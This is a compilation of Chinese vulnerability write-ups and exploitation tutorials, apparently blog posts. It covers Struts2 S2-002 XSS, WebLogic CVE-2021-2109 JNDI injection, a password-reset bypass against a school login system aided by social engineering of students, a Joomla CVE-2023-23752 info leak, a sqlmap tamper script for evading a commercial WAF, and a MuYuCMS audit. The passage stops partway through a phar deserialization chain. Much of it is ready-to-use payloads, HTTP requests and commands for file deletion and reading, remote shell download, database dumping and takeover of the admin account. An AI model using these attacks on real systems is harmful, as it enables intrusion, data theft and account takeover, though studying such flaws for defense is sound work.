Java Struts2系列的XSS漏洞(S2-002)
0x01 前言
复现一下 S2-002 的洞
0x02 S2-002
漏洞简介
Struts2-002 是一个 XSS 漏洞,该漏洞发生在 s:url 和 s:a 标签中,当标签的属性 includeParams=all 时,即可触发该漏洞。
漏洞影响版本
Struts 2.0.0 - Struts 2.1.8.1
0x03 环境搭建
如果不想手动搭建的话,环境我已经配好了 https://github.com/Drun1baby/JavaSecurityLearning/tree/main/JavaSecurity/Struts2/S2-002AndS2-006
因为 s2-002 的洞是一个 XSS,与处理的 Action 没有任何关系,所以这里我们只需要配置 .jsp 文件,以及 .xml 文件
resources 文件夹下
struts.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<package name="S2-002" extends="struts-default">
<action name="login" class="com.drunkbaby.action.LoginAction" method="execute">
<result name="success">welcome.jsp</result>
<result name="error">index.jsp</result>
</action>
</package>
</struts>
webapp 文件夹下
index.jsp
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-002</title>
</head>
<body>
<h2>S2-002 Demo</h2>
<s:url action="login" includeParams="all"></s:url>
<s:a href="%{url}">click</s:a>
</body>
</html>
welcome.jsp
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-002</title>
</head>
<body>
<p>Hello <s:property value="username"></s:property></p>
</body>
</html>
接着在 WEB-INF 下,web.xml
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<display-name>S2-002 Example</display-name>
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<welcome-file-list>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>
</web-app>
项目结构如图,至此环境搭建完毕
0x04 漏洞复现与分析
http://localhost:8080/?%22%3E%3Cscript%3Ealert(1)%3C/script%3E%3C%22
漏洞分析
之前自己也没有分析过 XSS 相关的漏洞,在最后我会做一个小结来思考一下如何自己挖掘出这个漏洞
我们先下一个断点在 org.apache.struts2.views.jsp.ComponentTagSupport#doStartTag() 方法处,开始调试
当在 JSP 文件中遇到 Struts2 标签 <s: 时,程序会先调用 doStartTag() 方法 ,并将标签中的属性设置到对应标签对象相应属性中。最后,在遇到 /> 结束标签的时候调用 doEndTag() 方法。
进入到了 index.jsp
跟进 this.component.start()
在 index.jsp 中 includeParams=all,往下看代码知道 88 行,跟进 mergeRequestParameters() 方法
在 includeParams=all 的情况下会调用 mergeRequestParameters() 将 Tomcat 处取来的参数,这里取到了我们输入的 payload,并且保存在 this.parameters 中
mergeRequestParameters() 方法运行完毕,往下是 includeGetParameters() 方法,也跟进去看一下;发现也是调用了 mergeRequestParameters(),同样是保存在了 this.parameters 中,不过这一次保存的是经过 url 编码的数据
继续往下,程序还调用了 includeExtraParameters() 方法,跟进;这里的意思是如果有额外的参数,会被保存进这里,然后再保存到 this.paramters
其实到这里漏洞出发点就来了,第一次调用 mergeRequestParameters() 方法的时候那一段参数是未经过 URL 编码的,从而产生了 XSS
在执行完毕 doStartTag() 方法之后,会去到 doEndTag() 方法,我们跟进 this.component.end(),this.component 是 URL 类,所以也就是调用了 URL.end()
往下走,第 146 行,判断目前调度器(Dispatcher)的实例是否支持这一 Struts2 组件的行为,并且判断这一个请求是否需要 Struts2 组件调用某 Action 来处理;如果不需要调用 Action 处理,则直接进入 buildUrl() 的代码逻辑,如果需要 Action 来处理,会先去选择/调用 Action,再进行后续操作。
其实也就是 Struts2 运行的基本逻辑
此处因为我们定义了 action=login,所以进入到了 else 的代码逻辑,跟进 this.determineActionURL() 方法
determineActionURL() 方法先定位到了对应的 action,再进行 buildUrl() 的操作,跟进 buildUrl()
再跟进
此时的 params 即将会被拿去拼接,造成触发 XSS 漏洞
具体拼接是在 115 行的 buildParametersString() 方法,跟进再跟进
至此,漏洞分析结束
漏洞修复
修改 pom.xml,将 Struts2 版本提升至 2.0.11(这是根据公告的,其实并没有真正解决漏洞)
经过对 2.0.11.1 的代码阅读,在 UrlHelper 类 buildUrl() 方法里,第 136 行增加了如下修复代码:
// link是最终的生成的url
for(result = link.toString();
result.indexOf("<script>") > 0;
result = result.replaceAll("<script>", "script")) {
}
太鸡肋,基本算不上修复。。。
0x05 小结
因为是 XSS 漏洞,成因基本都是未进行 URL 编码或某种转码,所以我们可以去看处理参数的过程进行漏洞挖掘。
S2-002 还是比较简单的一个漏洞。
WebLogic JNDI 注入(CVE-2021-2109)
0x01 前言
学习一下 WebLogic JNDI 注入 RCE(CVE-2021-2109)
0x02 环境搭建
和之前 WebLogic 的环境搭建是一致的,本文不再赘述。
不过值得一提的是,我的 weblogic 版本是 10.3.6;需要手动添加 \server\lib\consoleapp\webapp\WEB-INF\lib\console.jar 到依赖里面
0x03 漏洞分析与复现
漏洞影响版本与前提条件
Oracle WebLogic Server 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0。
拥有访问 /console/consolejndi.portal 页面的用户权限,或者存在 CVE-2020-14883 未授权访问漏洞。关于未授权的漏洞我会放到 WebLogic 的另外一篇文章中再做分析
漏洞原理
WebLogic 的 /console/consolejndi.portal 接口可以调用存在 JNDI 注入漏洞的 com.bea.console.handles.JndiBindingHandle 类,从而造成 RCE。
漏洞复现
payload 如下
http://127.0.0.1:7001/console/css/%252e%252e%252fconsolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://127.0.0;1:1389/aew0xy;AdminServer%22)&&我本地开启了一个 JNDI 的 Evil Class 和 Server
用 payload 打成功
漏洞分析
根据 payload 分析,先从 consolejndi.portal 开始看起,.portal 文件就类似于一个 servlet,在 consolejndi.portal 中存在 JNDI Binding 操作的处理容器,如图
具体的处理逻辑在 /PortalConfig/jndi/jndibinding.portlet
去到 com.bea.console.actions.jndi.JNDIBindingActioncom.bea.console.actions.jndi.JNDIBindingAction 类中,发现存在一个 execute() 方法,疑似存在 jndi 注入的漏洞。
观察需要如何构造恶意 payload,c 是由 ConsoleUtils.initNamingContext(serverMBean); 得来,而 serverMBean 是通过 domainMBean.lookupServer(serverName); 得来,其中一系列关系我将会由下图说明
接着我们自上而下顺序看代码,先是强转了一个 JndiBindingHandle 类,这里面 getHandleContext() 的逻辑并不复杂,最终会调用 JndiBindingHandle 的构造函数。
如图,我们在 payload 当中的这一段被放进了构造函的 type 与 objectIdentifier 中,而 "ldapxxxx" 这一段会被放在 components 中,由分号分隔
JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle("ldap://127.0.0;1:1389/aew0xy;AdminServer")
继续往下看,我们想要进入 JNDI 注入的那一段代码,需要满足两个条件,一个是 serverMBean != null,另一个是 c != null,我们进到 serverMBean 看一下代码逻辑
lookupServer 是 DommainMBean 接口的方法,我们去看它的实现类
实际上这里是动态代理调用的,会自动跟进到 weblogic.management.jmx.MBeanServerInvocationHandler#invoke 下,其中 method 的值为 weblogic.management.configuration.DomainMBean#lookupServer,它的 method 代码逻辑在实现类当中,也就是 weblogic.management.configuration.DomainMBeanImpl#lookupServer
我们需要走到 do while 的逻辑里面,返回 var3,而不是返回 null
通过调试得到 var2 的值为 AdminServer,这里没有其他的值了,原因如图
所以此处要求我们输入的 var1 与 AdminServer 相同,回过头去看 var1 是什么呢,var1 其实是 serverName
发现 serverName 也是可控的
现在 serverBean != null 没问题,就要看 jndi lookup 的地址是否可控。
很明显,jndi lookup 的地址也是可控的
我们进到 JndiBindingHandle 类去看一下 set/getComponents() 的逻辑,先调用了 HandleImpl#getComponent
跟进
主要逻辑就是在讲,以 ; 分隔,如此一来,我们就可控 context 与 binding,可以进行 jndi 注入
最后捋一下整体条件
1、;号隔开 jndi 地址2、serverName 必须为 AdminServer
0x04 漏洞修复
根据 Y4er 师傅这里的说法是,对 Jndi 的黑名单进行了判断,如图
0x05 小结
不算难的一个漏洞,只是环境搭建当时踩了很多坑,欢迎师傅们与我交流踩坑问题,我会竭力帮助。
SRC挖掘之Access验证校验的漏洞挖掘
漏洞已修复,感谢某大佬的知识分享。
任意用户密码重置->可获取全校师生个人mingan信息
开局就是信息收集。
对于挖掘edu的信息收集
1.可尝试谷歌搜索语法,获取学号信息
2. 旁站的渗透获取
3. 学校的贴吧获取(大部分都是本校学生)
当然我就是闲,进了目标学校的贴吧,跟他们聊天,然后你懂的(不推荐这样去做)
类似于钓鱼吧
再获取到学号的信息,自然就是水到渠成。
由于权限太小,功能点太少,fuzz不到接口,j也没有mingan接口,越权就更不存在了。
放弃了,去看看找回密码吧。
先爆破一波账号是否存在(能不用别人账号就不用)
123456账号存在
找回密码这里随便输入3个必选项,然后提交。
尝试更改返回包,看看是不是只有前端校验。
果然跟我想的一样,回到输入账号处了。
那没办法了,咱还是得用关系,用好大哥的账号,然后再从他个人信息里面掏点东西过验证。
重置成功了,但发现一个不对劲的地方,仔细想想发现有机会可以绕过。
首先,Newpass参数是加密的重置密码,也就是123456。
Post发包就一个参数,还是密码。
通过排除法能判定
Access-Reset-Ticket是校验用户
一开始我是不信的,CAS校验应该是这样的
本来TGT是CAS为用户签发的登录票据,拥有了TGT,用户就可以证明自己在CAS成功登录过。
这些直接大缩水呢。
但又没登录
怎么获取的当前用户的Access-Reset-Ticket?
真相只有一个,看看接口哪里获取到的
原来是在输入要找回的用户,就会获取当前用户的Access-Reset-Ticket
6到了,开发是我大哥!
尝试修改
可行,修改管理员账号,然后起飞。
下机。
漏洞是已修复,厂商也修复了漏洞更新到了最新版本。
Joomla未授权访问漏洞(CVE-2023-23752)
漏洞简介
在 Joomla! 版本为4.0.0 到 4.2.7中发现了一个漏洞,在Joomla受影响的版本中由于对Web服务端点的访问限制不当,远程攻击者可以绕过安全限制获得Web应用程序敏感信息。
影响版本
4.0.0 <= Joomla <= 4.2.7
环境搭建
文件下载地址 https://downloads.joomla.org/cms/joomla4/4-2-7/Joomla_4-2-7-Stable-Full_Package.zip?format=zip
利用 phpstudy 搭建漏洞环境
我们利用 phpstudy 来搭建环境,选择 Apache2.4.39 + MySQL5.7.26+ php7.4.3 ,同时利用 PhpStorm 来实现对项目的调试
安装完成后
前台
后台
漏洞复现
构造路由 /api/index.php/v1/config/application?public=true
返回了数据库的相关信息
漏洞分析
经过调试分析发现是对 api 路径下的身份校验进行了绕过,默认在未登录的情况下访问 返回 {"errors":[{"title":"Forbidden"}]}
所以就针对于 api 路径下的身份校验进行具体分析
api/index.php
api/includes/app.php
\Joomla\CMS\Application\CMSApplication::execute
\Joomla\CMS\Application\ApiApplication::doExecute
其中的 $this->route(); 对应了路由应用程序
\Joomla\CMS\Application\ApiApplication::route
$router 对应了 api 下所有的路由信息,之后调用 parseApiRoute 对路由进行处理
\Joomla\CMS\Router\ApiRouter::parseApiRoute
当 public 为false 时,是禁止外部访问的
GET /api/index.php/v1/config/application HTTP/1.1
Host: joomla.test
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie:XDEBUG_SESSION=PHPSTORM
Connection: close
但是通过路径传入的值在之后可以覆盖替换原本的值
GET /api/index.php/v1/config/application?public=true HTTP/1.1
Host: joomla.test
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie:XDEBUG_SESSION=PHPSTORM
Connection: close
教你编写SQLMap的Tamper脚本过狗
测试环境
最新版某狗
测试方法
安全狗其实是比较好绕的WAF,绕过方法很多,但这里我们就用一种:注释混淆
一招鲜吃遍天下
注释混淆,其实就是在敏感位置添加垃圾字符注释,常用的垃圾字符有/、!、*、%等
这里再解释一下内联注释,因为后面要用到:
MySQL内联注释: /*!xxxxxxx*/ !后面的语句会当作SQL语句直接执行
但是如果!后面跟着MySQL版本号,那么就会出现两种情况
1. 当!后面接的数据库版本号小于自身版本号,就会将注释中的内容执行
2. 当!后面接的数据库版本号大于等于自身版本号,就会当做注释来处理。
数据库版本号以五位数字表示,比如当前环境下数据库版本号表示为:50553
!后面接小于50553的:
执行了select 1;
!后面接大于等于50553的:
执行了 select ;
下面进入正题
bypass
and
and 1=1拦
但是把空格删掉就不拦了
所以,我们认为,and后面不能直接跟空格...
那么如果用其他形式表示空格呢?
前面说了,我们这次只使用注释混淆:
burp,抓包设置
长度5335是被拦截的
长度为899的说明成功绕过
我们选择其中一个作为空格的替代者就好了,这里我们选择/*%*
即:->/*/*%**/
同理 ,or是一样的:
order by
测试发现还是只要替换order by中间的空格就可以了,所以绕过方法和前面一样:
union select
union select使用之前的垃圾字符替换空格发现不行了:
但是先不急于换方法,再爆破一遍试试:
发现又有很多可以绕过的了。
所以我们再更改一下替换空格的垃圾字符, 这里选/*/!%!/*/
即:->/*/!%!/*/
获得当前数据库
正常语句:
?id=-1 union select 1,database(),3 --+
绕过:
即:()->(/*/!%!/*/)
获取数据库中的表
正常语句:
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
绕过:
经过测试发现拦截的是select + from + information_schema的组合
中间加垃圾字符替换空格已经不管用了,我们尝试对关键字进行混淆。
对information_schema进行混淆测试:
首先使用内联注释,发现,这里的版本号不管写啥,都直接被拦。
考虑是检测了select + from + /*! + information_schema的组合
加个换行试试
还是不行...
那既然都换行了,那我们再在换行前加一些垃圾字符:
如果我们直接插入垃圾字符,会当作SQL语句执行,所以前面还需要在垃圾字符前加个注释,可以是 /**/或#或--+
但是经过测试只有 --+好用
有这么多可以绕过的,我们随便选择一个,比如/*%/
这样,最终语句如下:
?id=-1/*/!%!/*/union/*/!%!/*/select/*/!%!/*/1,group_concat(table_name),3/*/!%!/*/from/*/!%!/*//*!00000--+/*%/%0ainformation_schema.tables*/%20where%20table_schema=database(/*/!%!/*/)--%20+
获取表字段
正常语句:
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
绕过语句:
?id=-1/*/!%!/*/union/*/!%!/*/select/*/!%!/*/1,group_concat(column_name),3/*/!%!/*/from/*/!%!/*//*!00000--+/*%/%0ainformation_schema.columns*/%20where%20table_name=0x7573657273--%20+
获取字段信息
?id=-1/*/!%!/*/union/*/!%!/*/select/*/!%!/*/1,/*/!%!/*/group_concat(username,0x2f,password),3/*/!%!/*/from/*/!%!/*/users
成功。
编写tamper
当我们下载了SQLMap,解压后,我们可以找到文件夹【tamper】,该文件夹有很多个Tamper脚本帮助我们绕过一些安全防护:
网上有很多相关脚本的介绍,我就不一一介绍了。
虽然SQLMap提供了这么多的Tamper脚本,但是在实际使用的过程中,网站的安全防护并没有那么简单,可能过滤了许多敏感的字符以及相关的函数。这个时候就需要我们针对目标的防护体系构建相应的Tamper脚本。
Tamper相当于一个加工车间,它会把我们的Payload进行加工之后发往目标网站。
我们随便打开一个Tamper脚本看一下它的结构:
#apostrophemask.py
#!/usr/bin/env python
"""
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
# 导入SQLMap中lib\core\enums中的PRIORITY优先级函数
from lib.core.enums import PRIORITY
# 定义脚本优先级
__priority__ = PRIORITY.LOWEST
# 对当前脚本的介绍
def dependencies():
pass
'''
对传进来的payload进行修改并返回
函数有两个参数。主要更改的是payload参数,kwargs参数用得不多。
'''
def tamper(payload, **kwargs):
"""
Replaces apostrophe character (') with its UTF-8 full width counterpart (e.g. ' -> %EF%BC%87)
References:
* http://www.utf8-chartable.de/unicode-utf8-table.pl?start=65280&number=128
* https://web.archive.org/web/20130614183121/http://lukasz.pilorz.net/testy/unicode_conversion/
* https://web.archive.org/web/20131121094431/sla.ckers.org/forum/read.php?13,11562,11850
* https://web.archive.org/web/20070624194958/http://lukasz.pilorz.net/testy/full_width_utf/index.phps
>>> tamper("1 AND '1'='1")
'1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
"""
return payload.replace('\'', "%EF%BC%87") if payload else payload
可见Tamper脚本的结构非常简单,其实渗透测试中的主要难点还是如何去绕过WAF。
下面我们针对bypass部分的绕过方法进行编写Tamper脚本,来实现自动化SQL注入:
实际测试的时候发现,sqlmap默认语句中的AS关键字也会被拦截,这里也用同样的方法替换一下就好
#!/usr/bin/env python
import re
from lib.core.settings import UNICODE_ENCODING
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
if payload:
payload = payload.replace(" ","/*/!%!/*/")
payload = payload.replace("()","(/*/!%!/*/)")
payload = re.sub(r"(?i)(INFORMATION_SCHEMA.SCHEMATA)",r"/*!00000--%20/*%/%0aINFORMATION_SCHEMA.SCHEMATA*/",payload)
payload = re.sub(r"(?i)(INFORMATION_SCHEMA.TABLES)",r"/*!00000--%20/*%/%0aINFORMATION_SCHEMA.TABLES*/",payload)
payload = re.sub(r"(?i)(INFORMATION_SCHEMA.COLUMNS)",r"/*!00000--%20/*%/%0aINFORMATION_SCHEMA.COLUMNS*/",payload)
payload = re.sub(r"(?i)(/AS/)",r"//*!00000--%20/*%/%0aAS*//",payload)
return payload
测试:
sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent
sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent --dbssqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent
python2 sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent -D security -T users --columns
sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent -D security -T users -C username,password --dump --stop 3
木鱼cms系统审计小结
MuYuCMS基于Thinkphp开发的一套轻量级开源内容管理系统,专注为公司企业、个人站长提供快速建站提供解决方案。
环境搭建
我们利用 phpstudy 来搭建环境,选择 Apache2.4.39 + MySQL5.7.26+ php5.6.9 ,同时利用 PhpStorm 来实现对项目的调试
漏洞复现分析
任意文件删除
我们在网站的根目录下创建一个文件 test.txt 用来校验文件是否被删除
任意文件删除一
漏洞复现
登录后台后构造数据包
POST /admin.php/accessory/filesdel.html HTTP/1.1
Host: test.test
Content-Length: 55
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://test.test
Referer: http://test.test/admin.php/accessory/filelist.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: muyu_checkaccre=1676530347; PHPSESSID=ae5mpn24ivb25od6st8sdoouf7; muyu_first=1676531718;XDEBUG_SESSION=PHPSTORM
Connection: close
filedelur=/upload/files/.gitignore/../../../../test.txt
文件被成功删除
漏洞分析
\app\admin\controller\Accessory::filesdel
通过参数 $filedelurl 拼接得到要删除文件的地址,利用 unlink 函数删除文件,中间没有做任何校验
任意文件删除二
漏洞复现
登录后台后构造数据包
POST /admin.php/accessory/picdel.html HTTP/1.1
Host: test.test
Content-Length: 54
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://test.test
Referer: http://test.test/admin.php/accessory/filelist.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: muyu_checkaccre=1676530347; PHPSESSID=ae5mpn24ivb25od6st8sdoouf7; muyu_first=1676531718;XDEBUG_SESSION=PHPSTORM
Connection: close
picdelur=/upload/files/.gitignore/../../../../test.txt
漏洞分析
\app\admin\controller\Accessory::picdel
通过参数 $picdelur 拼接得到要删除图片的地址,利用 unlink 函数删除文件,中间没有做任何校验
任意文件删除三
漏洞复现
登录后台后构造数据包
GET /editor/index.php?a=delete_node&type=file&path=F:/Tools/phpstudy_pro/WWW/MuYuCMS-master/MuYuCMS-master/template/../test.txt HTTP/1.1
Host: test.test
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://test.test
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://test.test/editor/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: muyu_checkaccre=1676601856; PHPSESSID=94241isj4cqrr0nefhv9rvs1b2;XDEBUG_SESSION=PHPSTORM
Connection: close
漏洞分析
\App\Controller\Controller::delete_node
\App\Core\File::deleteFile
\App\Controller\Controller::beforeFun
对传入的 path 判断了是否在合法的文件域中,但没有对传入的 path 没有进行跨目录的校验就删除了文件
任意文件删除四
漏洞复现
POST /admin.php/database/sqldel.html HTTP/1.1
Host: test.test
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://test.test
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://test.test/editor/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: muyu_checkaccre=1676601856; PHPSESSID=94241isj4cqrr0nefhv9rvs1b2;XDEBUG_SESSION=PHPSTORM
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 19
name=../../test.txt
漏洞分析
\app\admin\controller\Database::sqldel
获取 post 传入的参数 name
利用 delFile 函数删除文件
任意文件删除五
漏洞复现
登录后台后构造数据包
POST /admin.php/update/rmdirr.html?dirname=F:/Tools/phpstudy_pro/WWW/MuYuCMS-master/MuYuCMS-master/template/../test.txt HTTP/1.1
Host: test.test
Content-Length: 0
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Origin: http://test.test
Referer: http://test.test/admin.php/system/update.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=d3bt6cnt59c2dfq7pshva5ffc1; muyu_checkaccre=1676878715; muyu_first=1676879341
Connection: close
漏洞分析
\app\admin\controller\Update::rmdirr
传入的参数 $dirname 经过简单的判断,然后调用 unlink 函数去删除
任意文件读取
漏洞复现
登录后构造数据包
GET /editor/index.php?a=get_file&file_path=F:/Tools/phpstudy_pro/WWW/MuYuCMS-master/MuYuCMS-master/template/../test.txt HTTP/1.1
Host: test.test
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://test.test
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://test.test/editor/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: muyu_checkaccre=1676601856; PHPSESSID=94241isj4cqrr0nefhv9rvs1b2;XDEBUG_SESSION=PHPSTORM
Connection: close
成功读取文件信息
漏洞分析
\App\Controller\Controller::get_file
列目录
漏洞复现
登录后构造数据包
GET /editor/index.php?a=dir_list&dir_path=F:/Tools/phpstudy_pro/WWW/MuYuCMS-master/MuYuCMS-master/template/../../../../../../../../ HTTP/1.1
Host: test.test
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://test.test
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://test.test/editor/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: muyu_checkaccre=1676601856; PHPSESSID=94241isj4cqrr0nefhv9rvs1b2;XDEBUG_SESSION=PHPSTORM
Connection: close
成功将根目录下的信息显露出来
漏洞分析
\App\Controller\Controller::dir_list
\App\Core\Jstree::getDir
\App\Controller\Controller::beforeFun
对传入的 dir_path判断了是否在合法的文件域中,但没有对传入的 dir_path没有进行跨目录的校验就打印出目录信息
任意代码执行
任意代码执行一
漏洞复现
登录后构造数据包,读取config 文件内容
GET /editor/index.php?a=get_file&file_path=F:/Tools/phpstudy_pro/WWW/MuYuCMS-master/MuYuCMS-master/template/member_temp/user/config.php HTTP/1.1
Host: test.test
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://test.test
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://test.test/editor/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: muyu_checkaccre=1676601856; PHPSESSID=94241isj4cqrr0nefhv9rvs1b2;XDEBUG_SESSION=PHPSTORM
Connection: close
此时需要获取的并不是文件内容,而是更改之后文件的key
复制文件校验码 替换到下面数据包中
GET /editor/index.php?a=save_file&file_path=F:/Tools/phpstudy_pro/WWW/MuYuCMS-master/MuYuCMS-master/template/member_temp/user/config.php&file_key=5e9c862ce52986e5437652d707c7c82f&file_content=<?php+phpinfo();+php?> HTTP/1.1
Host: test.test
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://test.test
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://test.test/editor/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: muyu_checkaccre=1676601856; PHPSESSID=94241isj4cqrr0nefhv9rvs1b2;XDEBUG_SESSION=PHPSTORM
Connection: close
访问文件在网站上对应的位置,发现代码已经被成功执行
也可以执行其他代码
漏洞分析
\App\Controller\Controller::save_file
save_file 有保存文件的操作,但是需要获取到文件的校验码。所以就可以通过先查询文件的相关信息,然后再对文件进行修改
\App\Core\File::setFileContent
任意代码执行二
漏洞复现
登录后构造数据包
POST /admin.php/update/getFile.html?url=http://127.0.0.1:8000/shell.php&save_dir=F:/Tools/phpstudy_pro/WWW/MuYuCMS-master/MuYuCMS-master/template/ HTTP/1.1
Host: test.test
Content-Length: 0
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Origin: http://test.test
Referer: http://test.test/admin.php/system/update.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=d3bt6cnt59c2dfq7pshva5ffc1; muyu_checkaccre=1676878715; muyu_first=1676879341;XDEBUG_SESSION=PHPSTORM
Connection: close
指定远程 url 下载文件,下载的文件保存到指定位置
访问指定的文件目录,发现代码被成功执行
漏洞分析
\app\admin\controller\Update::getFile
通过 $url 指定获取远程文件的地址,$save_dir 指定保存文件的路径,并未对文件的内容和类型进行校验,所以就会产生代码执行漏洞
phar反序列化
漏洞复现
<?php
namespace think{
abstract class Model{
protected $append;
private $data;
function __construct(){
$this->append = ["aaaa"=>["123456"]];
$this->data = ["aaaa"=>new Request()];
}
}
class Request
{
protected $param;
protected $hook;
protected $filter;
protected $config;
function __construct(){
